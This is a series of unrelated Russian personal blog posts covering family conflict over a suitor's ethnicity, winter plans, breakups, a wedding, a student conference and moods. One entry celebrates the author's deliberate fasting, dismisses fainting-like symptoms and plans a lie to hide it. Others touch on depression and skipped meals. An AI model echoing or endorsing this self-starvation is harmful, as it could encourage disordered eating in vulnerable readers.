В первый раз моя мама сказала мне, что даже не хочет разговаривать на тему, которую я подняла. Все ее аргументы это: «Он мусульманин; Он из Азербайджана, а я не люблю эту нацию; Он запудрит тебе мозги, ты влюбишься, потеряешь разум и т.д.; Он втянет тебя ни пойми во что; Он тебе проходу не даст, пока своего не добьется; Ты только подумай, как на тебя будут люди смотреть: русская девочка с азером; Да, я знаю, что в каждой нации есть как плохие люди, так и хорошие, но мне все равно, я просто не хочу, чтобы ты с ним была; Ты вообще представляешь, что скажет твой брат, если узнает?» и так далее.
Я даже не хочу все перечислять. Мои ответы и слова разбиваются о каменную стену непринятия и нежелания попытаться понять. Маме даже плевать на то, что я даже и не собираюсь пока строить отношения с Рустамом, да и что моя подруга знакома с подругой Рустама, и та ничего плохого о нем в принципе сказать не может.

Ма просто ни слова не хочет слышать, все закончилось словами «Я больше не хочу это обсуждать, все» и сменой темы. Нормально?

В итоге что? В итоге я сижу в абсолютном оцепенении уже четвертый день, не могу понять, что мне делать. Кристина говорит встретиться с ним, и потом уже понять, надо оно мне или нет.

А я просто боюсь. Боюсь, что он мне понравится, и я вообще не смогу разорвать наше общение. Это пиздец для меня.
Обо всей ситуации знает 2 человека: один из них говорит, что вообще меня не представляет с нерусским молодым человеком, вот только с русским, а второй – что именно такой парень мне и нужен, чтобы справиться с моим взрывным и неустойчивым характером.
Я привыкла рассказывать все маме, все новости про парней и новых знакомых, и сейчас.. Я не могу общаться с Рустамом, скрывая это от мамы.
Я в растерянности, Рустам пишет, а я в вотсапп не захожу, в вк не захожу, ибо просто не могу ему отвечать, потому что знаю, что как только услышу голос, сразу с ума начну сходить.
Девочки, если кто-нибудь когда-нибудь сталкивался с подобной ситуацией, помогите, что сделать лучше?:(

Не хотела я так много писать о моем голоде, но мне хочется. Я просто напишу свои чувства, если вдруг однажды, когда-нибудь у меня будет такой период, что я не могу взять себя в руки.

Я горжусь собой. Как долго я пыталась сесть хоть на какую-нибудь диету с "завтрашнего дня", как страдала из-за того что я так слаба и безвольна. Не важно, что таких случаев привеликое множество, потому что сейчас наступил тот "завтрашний день". Я просто решила и все…и уже знала, что не сорвусь. Я сделала это. Я молодец.

Не смотря на то, что вес уходит медленно, мне нравятся заметные изменения на моем лице. Мне нравится этот аккуратный овал, скулы, точеный носик, выразительные глаза, губы, правильные черты лица.
Мне нравится легкость в моем теле не смотря на то, что изменения не особо заметны.

Превый раз я прибегаю к такому методу, и ни разу не пробовав, я думала что голод это что-то ужасное. Нет, это не так. Лично для меня. Я переношу его вполне нормально, не считая небольшой слабости и редкого темнения в глазах. Все хорошо.

Сейчас у меня есть стимул держаться - у меня первое свидание с парнем, которому нравлюсь я и который нравится мне. Думаю взять отсрочку еще на неделю, в этот раз скажу что я заболела.
Я хочу быть идеальной.

Я молодец.

Так как буквально через 4 дня уже официально наступит зима, я решила сделать этот пост. Потому что эти три холодных месяца (которые в наших краях могут быть не совсем и холодными) вовсе не повод отказываться от всех радостей жизни и зарываться под одеяло. Это время для вдохновения, радости (тем более, что именно в это время мы встречаем наш любимый новый год), уюта и тепла. Поэтому я хочу поделиться неким списком дел, которые я стараюсь делать каждую зиму, ну или хочу воплотить именно в эту зиму. И мне будет очень приятно, если вы сделаете репост, или просто воссоздадите подобный пост со своими зимними традициями, делами и планами.

1. Устроить себе кино-день.

На мой взгляд зимний период как нельзя лучше подходит для подобного мероприятия. У меня такой день обычно выпадает на декабрь. Раньше, когда после сессии приезжала домой на каникулы, теперь же я вообще в любой момент могу это воплотить В свой выходной, когда у вас полностью свободный день, просто наготовьте вкусных закусок сядьте и смотрите то, что вам нравится, то что хочется. С любимым человеком, с родителями, с сестрами\братьями, лучшими друзьями или в одиночку - не важно. Я обязательно смотрю фильмы с новгодне-рождественнским содержанием, чтобы подхлестнуть свой праздничный настрой еще больше. Я знаю, что многие проводят марафон Гарри Поттера, у меня это тоже давнее желание, сесть и за день-два пересмотреть все фильмы, но до сих пор это не получалось, в основном смотрю по тв, когда его перед праздниками показывают. Естественно это могут быть не обязательно "праздничные" фильмы, но как по мне они идеальны для этого периода. И вот, что я советую смотреть и пересматривать: 1. Реальная любовь (2003 г.); 2. "Старый" Новый год (2011 г.); 3. Полярный экспресс (2004 г.); 4. Отпуск по обмену (2006 г.); 5. Девчата (1961 г.); 6. Карнавальная ночь (1956 г.); 7. Гарри Поттер.

2. Найти идеальную зимнюю книгу.

О боже, это славное блаженство сидеть на любимой кроватке, укрывшись пледом, когда за окном падает снежок, и читать. Честно сказать на данный момент у меня нет такой идеальной книги. Но в прошлом году я устроила своеобразный марафон новогодних рассказов. Случайно в группе в вк наткнулась на подборку, там были подобные вещи, как "Рождественская елка" Диккенса, рождественская история Мумми Троллей (точного названия не помню) Туве Янссон и многое другое, можно просто загуглить, вам выпадет масса произведений. В этот раз у меня появилась книга, которая, я надеюсь, займет место зимней и идеальной. Она пришла ко мне совсем недавно и заказала я ее абсолютно спонтанно. А теперь жду, когда за окном будет снежно, но даже если этого не произойдет, то к середине-концу декабря я начну ее читать. Это книга под названием "Пусть идет снег", где собраны рассказы Морин Джонсон, Джона Грина и Лорен Миракл, которые объединены общей тематикой любви, зимы и праздников.

3. Приобрести идеальный свитер.

Зима = свитера. Я не представляю эту пору без теплых вязанных свитерочков. И считаю, что у каждого должна быть такая теплая, уютная, согревающая не только тело, но и душу вещь. Он может быть куплен вами в магазине, подарен вам кем-то или связан собственноручно вами или бабулей\мамулей: з У меня такая вещица имеется. Купила мне этот свитер мама, если не изменяет память, то как раз таки прошлой осенью и одевала я его как нельзя чаще. Он белый, с золотыми пайетками спереди, думаю некоторые из вас видели его в моем инстаграме. Он не содержит шерсти правда, но несмотря на это довольно теплый и из-за пайеток, которые постоянно блестят, он получается даже очень праздничным. И еще есть джемпер с оленями, который подарили родители. Это была мечта почти вселенского масштаба и она исполнилась в позапрошлом году. И как наступит зима я вновь буду его носить: з В общем, ищите такую вещь, которую вам просто не захочется снимать :)

4. Пить зимний чай.

Я думаю, что у каждого, кто любит чаи, есть особые сорта и вкусы, которые ассоциируются с тем или иным временем года. Для меня есть два вкуса - это корица и имбирь. Это поистине зимние и согревающие ароматы. О, и еще клюква. Если найдете свои идеальный чай с клюквой, это чудесно. В прошлые года я брала обычный корень имбиря и добавляла его, мелко натерев на терке, к обычному черному чаю. Но в этот год я зашла в чайный магазин и просто не удержалась купив два чая с имбирем: "Имбирый мед" и "Имбирь и Лайм". Первый весьма напоминает тот, который я делала сама с тертым ибирем и он реально вкусный, но нотки меда очень отдаленно чувствуются, я ждала более выраженного вкуса. Второй же чай, так сказать на любителя, потому что ксилинка лайма и терпкость имбиря не всем нравится вместе (хотя вроде имбирь с лимоном частое сочетание), например молодой человек у меня наотрез отказался пить этот чай. Я тоже не в полном восторге, но пью его как некое лекарственное средство, потому что для иммунитета такие сочетания очень даже неплохи в холодное время года. Так что можно либо покупать уже готовые чаи с добавками и конечно, желательно с натуральными, или же своими рученьками делать все дома, добавляя специи по вкусу в обычный чай)

5. Отправиться на каток.

Не каждый год мне удается выполнить этот пункт, но в эту зиму я планирую катание на коньках, тем более, что живу теперь еще ближе к стадиону. У нас в городе только один каток и он открытый, поэтому когда погода позволят заливать лед и каток держится долго, там почти всегда столпотворение, что порой даже повернуться тяжко, я так кататься не люблю, собственно поэтому я порой и пропускаю коньковые периоды. Я не мастер, и всякие там пируэты делать не умею, да что там, я даже задом никак не могу научиться ездить (позор позор), но катаюсь в свое удовольствие, для себя и это реально поднимает настроение, особенно если ты с семьей или друзьями. Если вы не умеете кататься на коньках, то самое время научиться!) Не пойтесь падать, держаться за бортик или что-то еще (или кого-то; D), главное не бойтесь казаться смешными - это главный враг. Верьте в себя и все таки будьте аккуратны при падениях, которые в любом возрасте и при любом навыке катания почти неизбежны)

6. Отправиться на "пикник".

Не стоит воспринимать слово пикник дословно, хотя я просто не знаю как это еще назвать. Это событие нелзя отнести к разряду традиционных и ежегодных, но я считаю, что хоть раз в несколько лет такое надо устраивать. В чем суть? Вы берете термосы с горячим чаем и кофе (кому что по душе), делаете бутерброды\сэндвичи. Если боитесь, что ваше съестное творение может замерзнуть, если пикник затянется, или если на улице ну очень холодно, то просто заврените их в фольгу, возьмите несколько солевых грелок (в зависимости от количества ваших припасов и оберните это в каку-то такнь, что-нибудь вроде флиса. Через некоторое время прогулки, активируйте одну или сразу несколько грелок, в зависимоти от того сразу ли вы все скушаете или еще оставите на потом, и насколько холодно на улице. это немного подогреет ваши запасы. А далее просто соберите своих друзей или членов семьи, а можно и тех и других разом, оденьтесь потеплее и отправляйтесь на природу. Либо за город, либо в парк (лучше сли он будет максимально походить на лесноую зону, а не просто будет городским парком с облагороженными аллеями. Стройте снежные крепости, играйте в снежки, делайте снеговиков и ангелов, катайтесь с горок и не забывайте греться чайком и кушать вкусности). В детстве мы так делали с родителями, когда выбирались за елкой в лес. Последний раз мы так сделали с одногруппниками пару лет назад, когда они приехали на экскурсию в мой город)

7. Сделать новогодние подарки своими руками.

В этот год у меня полный хэндмэйд :D почти все подарки почти всем я делаю сама, оформляю свечки, делаю вышивки, вяжу "чехольчики" на кружки и много всего еще. Постараюсь кое-чем с вами потом поделиться) Мне кажется это очень круто дарить и получать в подарок что-то, что человек сделал сам, на что потратил свое время, приложил свои усилия и вложил душу. Такие вещи едичны, неповторимы и грею по настоящему, а главное их нигде не купить! Тем более в наше время, когда в интернете можно отыскать кучу мастер классов, в магазинах найти множество подручных материалов - садись да твори. Поэтому дайте волю фантазии, пройдитесь по магазина рукоделия, посмотрите вдохновляющие видео и в путь!) Радуйте себя и своих близких. Главное правильно рассчитать свои силы и возможности и не начинать мастерить подарки за неделю, как можно быстрее, чтобы всем все успеть сделать. Это скажется на качестве.

8. Отправиться на ночную снежную прогулку.

Речь сейчас, конечно же, не о новогодней ночи и вообще не о праздничных каникулах. Советую выбрать одну ночь, вне праздничных выходных, когда будет идти снег, взять одного-двух близких вам людей, одеться потеплее (!!!), выйти на улицу после 23:00 и пуститься путь. Я очень люблю гулять по нашему ночному снежному городу. Снег в оранжевом свете фонарей кружится и падает (к слову сказать, у нас почти все фонарил наконец-то заменили на оранжевый, я люблю этот свет, потому что белый и голубой, который был раньше нереально пугающий! да, я странная :D), ты ловишь снежинки, забегаешь в сугробы, разлекаешься и смеешься, а главное, что в такие моенты на улице минимум народу, если кто-то вообще есть. Так же можно зайти в какую-то круглосуточную кафешку, выпить чаек, погреться и пойти искать приключения дальше)

9. Запастись зимними мелочами.

Под "мелочами" я подразумеваю какие-то косметическе средства и аксессуары. Лучше конечно этим заняться еще осенью, по крайней мере основы закупить заранее, но в принципе в ходе, так сказать, зимы тоже можно и нужно что-то находить и приобретать. Сюда я отношу покупку шапок\варюшек\шарфов, также украшений к новогоднему образу. Так же нужно найти свой идеальный лак для ногтей к этому сезону. Например я зимой обожаю носить цвета от черного до красного, т.е. бордо, вишня, коричневый, ну и все остальное, что вписывается в этот спектр. Помада сюда относится тоже, если вы пользуетесь ей, ну или блеск для губ, очень важно подобрать цвет, текстуру, чтобы подходила к вашему гардеробу и мопогала увлажнять в такую погоду губы. Крема, бальзамы, гели для душа и шампуни. Я люблю новогодние коллекции в ИвРоше, там можно закупиться по полной. Так что грамотно готовьтесь к зиме ;)

10. Устроить семейный день.

Конечно же новогодние праздники это семейные дни и имеено в это время ты проводишь много времени с родными. Поэтому семейный день запросто можно организовать перед новым годом, сесть всем вместе и упаковывать подарки или украшать елку и дом в целом, испечь вместе пирог или печеньки, сесть вместе за чай, играть в какие-то игры. Но так же можно это все воплотить и в любой другой зимний вечер, конечно уже без украшения елки и упаковки подарков, но в остальном, почему бы и нет? Мы нарпимер играем в алиас или дженгу, иногда в эрудита. Это объединяет и именно такие моенты остаются в памяти и делают тебя счастливым. Цените свои семьи!)

Чтобы задуманное получилось так, как ты хочешь, в голове у тебя обязательно должны быть 2 картинки:

1я показывает как это должно выглядеть;

2я - как задуманное ни в коем случае не должно выглядеть.

Тогда обязательно все получится. Конечно, я не имею ввиду те ситуации, когда тобой не освоен основной навык (или их несколько) для выполнения этого самого задуманного. В противном случае, даже самые четкие картинки в твоей голове ничем не помогут.

Пришла сюда не зная зачем не зная почему, рука просто потянулась и в адресной строке вбила этот адрес, и вот я тут. Открыла свой блог, увидела последнюю запись, сделанную чуть меньше месяца назад, и совсем уж не узнала и не вспомнила, что и как написать успела.

Я не знаю, о чем мне рассказать хочется.

О том, что вконтакте висит 20 сообщений от разных людей, а я не могу отвечать нормально, не пропадая на неделю-две-три, не умею я больше этого, и когда вижу сколько я не отвечаю, ненавижу и себя тоже. Сколько бы раз я ни пыталась говорить нормально, в интернетах я это делать разучилась, хоть убей.

О том, что в жизни тоже что-то непонятное. Впервые оказалась на "попойке" и это крайне странно и неприятно, когда вдруг обнаруживаешь себя в три часа ночи, под светом фонаря, когда с неба падают огромные снежные хлопья и все такое красивое, но какое-то не то смазанное, не то ходит ходуном, а памятник Ленина зловеще бросает свои тени на городскую площадь, около которой как раз стоишь ты, а тебя обнимает и чуть ли не целует малознакомая подруга твоей подруги, в то время как твоя кричит в таком же пьяном угаре что-то вроде: "Девки, мне за вас стыдно, какие же вы пьяные!", покупая чипсы в киоске неподалеку. И мысль проносится, мол, да брось, чего стыдиться, разве так часто мы настолько счастливы бываем, айда к нам! И ты слышишь слова о том, какая же ты хорошая, как же человек рад, что встретил теня, настоятельно просит добавить ее вк, чтобы не терялись, хотя люди-то вы разные и смеяться вы можете, и обниматься только за счет бутылки вина, что говорит в тебе, и ты это понимаешь, а потом тоска берет ужасная, что вот-вот сейчас - и в речку кинуться, которая толком замерзнуть не успела. Трезвеешь, хоть и шатает все также. И вроде и весело, а все же понимаешь и решаешь для себя - подобное не для тебя, как и те же самые школьные дискотеки, после которых лежишь и дня три себя по кускам собираешь, даже если было прекрасно. Как после и любого веселья. Так и тут пришлось. И чего ж нелюдимая такая, чего ж так с ними невозможно, одиноко и тоскливо, в то время как и без людей такая же картина. Все-таки с людьми лучше. Но смотря с какими.

Сейчас температура под 40 и может быть я только поэтому села что-то написать, но слова сами льются и я скучала по этому чувству, очень-очень. Все-таки нужно мне куда-то записывать дни свои, хотя бы такие отрывочные записульки, и уж на душе полегче.

Сегодня на приеме у врача была, она все спрашивала где же я так заболела резко, что утром как огурчик встала, а к уроку пятому совсем загнулась и ушла домой, куда завалилась и нашла силы встать с дивана, чтобы пойти за градусником, только спустя полчаса. 38, 6. Приехали. А клялась, что вряд ли больше 37,4. На выступление не пойду. Не хочется никого подводить, но в который раз это снова происходит, пусть и не по моей вине.

А мир внутренний как на две части разделился. Одна с унынием беспросветным, другая твердит, что все пройдет. Одна со стихами Есенина, Достоевским и всем таким депрессивным русским, другая с MCR, которые плавно уходят в прошлое для всех, судя по пабликам вк, которые обновляются крайне редко. А для меня чуть ли не единственная ниточка, за которую держишься. Единственная ниточка, которая говорит и уверяет, и показывает, и наставляет держаться и терпеть, что все закончится и все наладится.

И друг у меня один остался.
Второй закрылся и больше меня не любит. Так и сказал. А мне даже и нормально, но не знаю, что и делать. Жду и надеюсь, что это состояние опустошения и ненависти у него пройдет. Чувств человеческих не хватает.

Мои сны такие сны.Вчера снилось, как мы с моей П. спасались от Красного дьявола (кто пересмотрел королев крика ктооо). Сегодня приснилось что она пришла ко мне и говорит "Выходи за меня".И протягивает кольцо.
Взгрустнулось.
У меня снова малокровие.Ура, скоро сдохну!
Спрашивает меня сейчас, почему я грущу. Ну не могу же я написать "Я рассталась с девушкой уже месяц как или больше.Не подскажешь, кто она? И мне ее дико не хватает, и люблю я ее пиздец как." Ну и все в таком духе.Поэтому я сказала что у меня депрессия.Это кстати не является неправдой.Я впала в депресняк, жесткий.Очень.
Мое сердце всецело принадлежит ей.И я твердо уверена, что мы половинки.Я поняла это еще в тот самый первый день нашего знакомства.Точнее тогда я думала что мы родственные души.А потом все переросло в это.
Хочется написать все все милые моменты, которые были, но боюсь я просто разноюсь опять.
Упс, слезы.Ах да, я забыла принять таблетки.Пить.Таблетки.

Очень хочется кушать, но я (сдуру) превысила свой обеденный лимит на 2 дня. (причем по сути, превысила даже на 3, но так как не обедала в понедельник, считаем, что на 2) Так как завтра пятница, я работаю до 5, следовательно могу потерпеть и пожрать дома. А значит что сегодня можно шикануть и купить цезарь.Цезарь и кофе стоил 510 рублей, обычно я ем не больше, чем на 150 рублей (первые 3 дня после зарплаты. далее следует режим круассан за 30/слойка за 36)

Все-таки я тогда не придумала "любовь". Потом он мне признался, что я его зацепила, а он просто не знал как ко мне подойти. До этого мы постоянно выясняли отношения, что-то постоянно было не так и я всерьез думала, что мы с ним скоро рассоримся и распрощаемся. А тут такое заявление. И я развесила уши. А он решил больше не поднимать эту тему. Мы с ним больше ничего не выясняем, да и вообще теперь даже особо не общаемся. Хотела, что пусть все будет как будет. Он мне не нравился, мне приятно просто было с ним общаться. И если бы мы встречались - хорошо, ничего не получилось - ну и ладно. А теперь он благополучно слился и живет дальше, а мне чет грустненько. Ну в принципе, как обычно, чего еще было ожидать.

Какой раз сажусь и пытаюсь собраться с мыслями чтобы хоть что то написать сюда. Но все как обычно заканчивается моим злорадным нажатием кнопки delete и выходом из браузера. Ну что ж, у меня есть ещё 30 минут в запасе, чтобы написать что то. Хмм. Давайте о хорошем наверное. Сейчас я еду в Сеул, к любимой подруге. За этот год, я поняла что человек может обойтись всего лишь одним другим приятелем, главное чтобы вы были схожи в взглядах на жизнь и характерами. Месяц выдался тяжёлый, мне и правда нужны эти выходные. Надеюсь что зарядившись будет легче продолжит учиться, а там и Новый год не за горами. Что то я все о себе и о себе, никаких глобальных мыслей… Может поэтому людям так тяжело бывает иногда? Потому что мы зацикливаемся на нас любимых и забываем про все остальное? Может быть. Кто знает. Сумбурно как то это все. Однако очень даже успокаивающе… Вернусь к вам совсем скоро и нормально что нибудь напишу. А пока так, о себе и небольше.

Ребята вчера пришли ко мне в общагу и притащили еды. Они мне еще больше нравятся.

День сегодня очень хуевый, но горжусь собой в плане химии. Я решила это ебаное задание, над которым сидела до 4 утра. Самое милое то, что меня вчера дико бомбило в общей беседе и я просила мне объяснить, но все сказали, что забили. Утром оказалось, что один человек сделал и поржал над тем, то я вчера умирала из-за него. Выкуси, сука, я сама сделала. Не такая тупая, как кажется.

Сам по себе день оооочень херовый, но переживем. Неделя до БИ-2, завтра халявные пары, а в субботу уже домой. Выживаем несмотря ни на что.

Думаю, что вечером тут появится пост о современных отношених, не в чудесных красках любви и счасться в двоем, а о том, как же сообщество прогнило, что гниль уже даже в твоей постели.

Это даже не такое себе вдохновение, это крик, вызваный моим непонимаением и возмущением по отношению, к самому прекрасному чувству на земле - любви друг к другу.

Дорогая jez-ast ! Хочу поздравить тебя с Днем рождения! Я знаю, каково это, когда в день, в который, кажется, все должно быть о тебе и для тебя, не происходит ничего. Знаю, как быть одной.

Но я хочу тебе пожелать счастья! Самого чистого и искреннего! Любви, любви взаимной! Просто хочу, чтобы ты была счастлива, всей душой хочу, пусть мы и не знакомы. Очень тяжело читать и чувствовать твое отчаяние. Чувствую, это буквально на себе. Счастья тебе, девочка! Много-много! Ты достойна.

В прошлом году 27 ноября была моя первая научная конференция. Я очень нервничала и волновалась, меня спасало то, что ехала я от группы не одна. Со мной были две мои одногруппницы, на тот момент близкие подруги, одногруппник-староста Леша и наш преподаватель, и мой научный руководитель по совместительству. Это придавало мне сил.

Помню, нас всех разделили, я оказалась в одной секции с девчонкой-пятикурсницей с моего ВУЗа. Секция называлась «Отношения России и Азии» - как-то так. Секция достигла международного уровня, так как помимо остальных студентов, были еще и студенты из Китая и Кореи, которые на русском готовили свои доклады.

Вспоминаю, как я волновалась. У меня дрожали руки, зубы и коленки! Вот выступили первые десять человек (а я была почти что последней), в их числе девчонка-пятикурсница, которая будет просто В. Когда дошла моя очередь, я уже успокоилась. Выступила. Мне единственной в секции аудитория задавала вопросы! Я была довольна своим докладом и после сидела с мыслью, что сделала все, что смогла.

Заведующий секции подвела итоги, и сказала, что будет справедливее выбрать двух победителей – один из иностранных студентов, другой из местных. Одной из местных, победительницей секции стала я. Новичкам, как говорится, всегда везет.

Только и всего. Но что меня неприятно удивило, так это реакция пятикурсницы В. Она почти истерила! Почему не она, а я. Почему нас двоих не поощрили, мое выступление было одним из самых лучших – кричала она. Лицо все красное. Очки сползли. Г.В. – наш научный руководитель была в ужасе. Она пыталась ее успокоить словами:

- Вам В. сейчас главное диплом защитить на «отлично»! (Хотя до начала она говорила, что ей нужно победить, она же уже на пятом курсе).

В. не успокоилась, и дошло до того, что она стала оскорблять китайских студентов, мол «зачем этим китайцам два первых давать». Выглядело это жалко, ужасно и отвратительно.

После этого случая она со мной больше не заговорила. Когда мы пересекались в коридорах, она бросала на меня косые и уничтожающие взгляды.

Мне было смешно.

Весной она выпустилась, больше в стенах универа я ее не видела.

Сегодня 26 ноября, завтра – 27. Я снова еду на ту же научную конференцию. Только что посмотрела программку…. Мне не до смеха.

Та девчонка, пятикурсница в прошлом году, которая устроила целое представление на предыдущей конференции, будет в той же секции, что и я!!! Секция «Отношения России и Азии».

ЗА ЧТО?!

ПОЧЕМУ?! КАК БУДТО КТО-ТО НАВЕРХУ РЕШИЛ ПОСТЕБАТЬСЯ НАДО МНОЙ!

Я очень хочу победить! Я хочу утереть ей нос во второй раз! Но я чувствую себя такой уязвленной. Завтра рядом со мной не будет родных одногруппников, моего научного руководителя..

Только три незнакомые магистранки и бывшая пятикурсница В.

Ребята, если вы читаете это, пожалуйста, мысленно пожелайте мне завтра удачи .

Волнуюсь ужасно.


Все наверно видели хотя бы одно подобное видео, где показывают как изменялась мода со временем в разных странах. Я считаю, что это прекрасный проект и крайне интересный. Сейчас в интернете уже можно даже найти подобные видео только о мужчинах.

решила, что могу себе позволить подарить мальчику с тяжелой болезнью фотоаппарат. очень надеюсь что он будет рад подарку. сегодня купила фотиль, а у самой какие то смешанные чувства внутри. даже незнаю что ээто…но, хочу чтобы у мальчишки сбылась мечта!

Привет!

Вернулась с кучей новостей. Обо всем по порядку:

★ Перемерила раз 5 свадебное платье и отдала в ателье на подгонку длины.

★ Сходила во второй раз на пробную прическу, уже с тиарой, которая мне пришла с сайта goddessinme. Теперь образ получился просто идеальный.

★ Купила туфли под платье, синие, на среднем каблуке, как и хотела.

★ Заказала оформление зала, торт, букет, бутоньерки и прочие сопутствующие аксессуары. Нашла ведущую на банкет.

★ Подобрала 2 варинта верхней одежды к свадебному платью - один для меня, для фотографий (более смелый и современный), и второй для родственников, для выхода в загс и из загса (традиционный).

★ Купила себе парфюм для свадебного дня - Salvatore Ferragamo Signorina.

★ Ну и самое главное - подали заявление!

Дальше уже не по свадьбе.

За туфлями пришлось ехать в Ростов, в Мегу. И я как темный человек из военного Донецка в первый раз побывала в Икее. Там реально круто, и если сравнивать с обычными мебельными магазинами, намного дешевле и в 100 раз красивее. Накупила там свечек ароматических. Ресторан икеевский тоже понравился - булочки с корицей очень вкусные!

В кино сходили на "Спектр". Я наконец-то купила помаду винного цвета и карандаш к ней - мне проще губы красиво накрасить, чем глаза. А еще нас пригласили на свадьбу 11 декабря в Санкт-Петербург! Так что с 9 по 12 декабря мы в Питере, уже и билеты купили. Во такие новости.

И немного Инстаграма

"Нужно любить – любить как можно больше, ибо в любви и заключается подлинная сила, и кто много любит, тот делает много и способен на многое, и что делается с любовью, то делается хорошо."

Винсент Ван Гог, "Письма к брату Тео", 1877-1881г.

это была неделя плохого сна и невысыпаний -_- в среду готовилась к экзамену с 3х ночи, потом завалила автодром из-за неопущенного ручника… самое обидное, что были мои любимые задания - "змейка" и "парковка" и я бы сдала, если бы не эта стыдоба… инспектор на меня как на дурную посомтрел) вот это ученица, но это мне урок: я думала о самом задании, о глобальном, куда вывернуть руль, а надо было начинать с мелочей… и в жизни у меня такое частенько выходит. В воскреенье тоже отдохнуть не получилось - работали с шоу-балетом, а в субботу ездили с ним же в мартыновку. Сегодня на работе День матери, пойду пораньше. А для своей мамы пришла моя картина по номерам, но разукрашу я ее наверное только к новому году. а еще шмотки с асоса пришли, но теперь я хочу еще джинсы. Хотела фотку прикрепить к посту, но на маке пока еще коды вставлять не пробовала, поэтому в след.раз))

..Многновенье, челчок двумя пальцами. И всё. А что потом? Что останется от тебя? Пара фоточек" и строчек в твоём блоге. А лет через 10 и совсем ничего не останется. Только лишь воспоминания твоих родных. Но когда и они уйдут в землю, то от тебя совем ничего не останется, ни воспоминаний, ничего..

..Жизнь ли это?

..Я не успеваю жить!!

.. А что такое жизнь? Где смысл? Кто ответит?

..Ответьте мне, а,

Праздничный новогодний период - одна из десятков причин, почему я до одури люблю зиму. Это время, когда ты чувствуешь особое единение со своей семьей и близкими, когда радуешься крохотным сюрпризам и задушевным разговорам вечерами за вкусной едой.
Хочется делиться своей любовью и внутренним теплом. Обнимать тех, кто за тысячи километров от тебя… Словами. Ведь так приятно обнаруживать в почтовом ящике письмо или же оповещение о посылке.

В этом году мы c командой føle решили организовать предновогодний флешмоб под названием "Christmas Box". Это анонимный обмен подарками, схожий со всем хорошо известной игрой "Тайный Санта". Подробней ознакомиться с правилами и сутью проекта можно здесь.
Я буду очень рада, если вы присоединитесь к нашему флешмобу. Давайте делать эту зиму еще более уютной и приятной!

P.S. Поспешите заполнить заявку до 11 декабря.

Давно уже не писала ничего из рубрики #medicinehack. Может, многие уже знают про этот фактик, может многие не знают, но лично я узнала про это недавно.

Я думаю, у всех была такая ситуация, что вы съедали что-нибудь острое, и ваш рот просто пылал пламенем дракона. И что мы обычно сразу делаем? Правильно, бежим пить холодную воду. Но вы замечали, что она особо то и не помогает? Приходится пить её очень много, и ждать довольно долгое время, пока всё там остынет. Всё дело в том, что перец обычно не растворяется в воде, и, когда мы пьём воду, мы наоборот разносим этот перец на ещё большую площадь по своему рту, и делаем только хуже. И что же делать в такие моменты? Ответ прост, нужно съесть что-нибудь сладенькое. Желательно чайную ложку сахара. Ведь все любят сладенькое? ;)

Так же хорошо помогает молоко и молочные продукты ( doryblues ; theprettyreckless ), авокадо унимает острое ( kalinare ) и лимон ( vet ).

В общем, все поняли, что не надо пить воду. Именно это я хотела донести :)

Люблю Вьюшу.

За 4 года не встретила здесь ни одного фальшивого человека. У нас тут, знаете ли, своя атмосфера :D Одно из немногих мест где понимают, принимают, иногда спорят, не кривят душой, а главное - слушают.

Не спать по ночам не потому, что плохо, мысли не дают уснуть или дикая боль не дает покоя, а потому, что, черт возьми, во мне просыпается желание рисовать, рисовать, рисовать…

И я действительно иду и рисую вместо того, чтобы спать. И я не знаю хорошо ли это?!

И вроде всё как всегда: всё те же чашки - ложки,
Всё та же в кране вода, всё тот же стул без ножки,
И всё о том же с утра щебечет канарейка,
Лишь у любви у нашей села батарейка

Жуки

«Батарейка»

и я все - таки ждала, что А. вспомнит. пожалуй только этого ждала. хотя бы сухо, но поздравит. ничего… никто из друзей, никто из родных… и ничего от него. за что мне любить этот день?

Люблю когда все по плану.Когда все стабильно и хорошо.

Сегодня успела договориться за диплом.У меня дипломник - любовь многих женщин) Интересно, хорошо или плохо, что попала к нему?) Теперь уже со спокойной душей могу ехать завтра домой, сдем екзамен и в дорогу=) Я так этого ждала))

вся эта ситуация просто выплеснула наружу всю мою желчь и я не знаю, как успокоиться. бесит всё вплоть до обоев в комнате. какие розовые сопли обволокли мой мозг, когда 5 лет назад я их выбирала? бесит, что на работу надо к 7ми в кромешной тьме. бесят люди на этой работе. и вообще начальство в полном неадеквате уже от безделия, так что задумываюсь уходить ближе к началу года. пока некуда, но если маразм будет крепчать, я точно уволюсь. ни денег, ни друзей, ни мужика, - ничего. ещё злит то, что даже нельзя все свои проблемки залить вином или чем угодно другим. точнее можно, но потом всё очень плохо. старость подкралась незаметно.

хочу уже снег, чтоб занесло к чертям эту серость и мерзость. и хочу новогодние праздники, когда у меня будет хотя бы три-четыре выходных, чтоб можно было с чистой совестью поднимать свою задницу с обложенной мандаринами кровати только ради коллективного приёма пищи. конечно, другие мои выходные особо не отходят от этого плана, но ведь атмосфера же, всеобщее безделье и всё такое. в общем, на меня это не похоже, но хочу новый год. наверное давно себя не жалела и не размышляла о том, как все веселятся с друзьями или всякими любовями, пока никому не нужная я лежу в кровати в обнимку с оливье (но на самом деле об этом я ещё не начинала думать).

А на самом деле, всем спасибо. Все свободны. Сейчас, больше всего меня парит учеба, хрень на работе и полное отсутствие денег. Даже Вика вчера сказала, что я похудела (еще бы, жрать дай бог раз в день). Меня тревожит хреновое состояние моей кожи, но я горжусь результатом своего ухода за волосами. наконец-то они начинают мне нравиться. Меня парит, что пора бы начать готовиться к сессии, а я весело пинаю хуи. А отношения? да ну на…

ты не думаешь обо мне, об моих чувствах..ок..Я не бууд думать об твоей эррекции

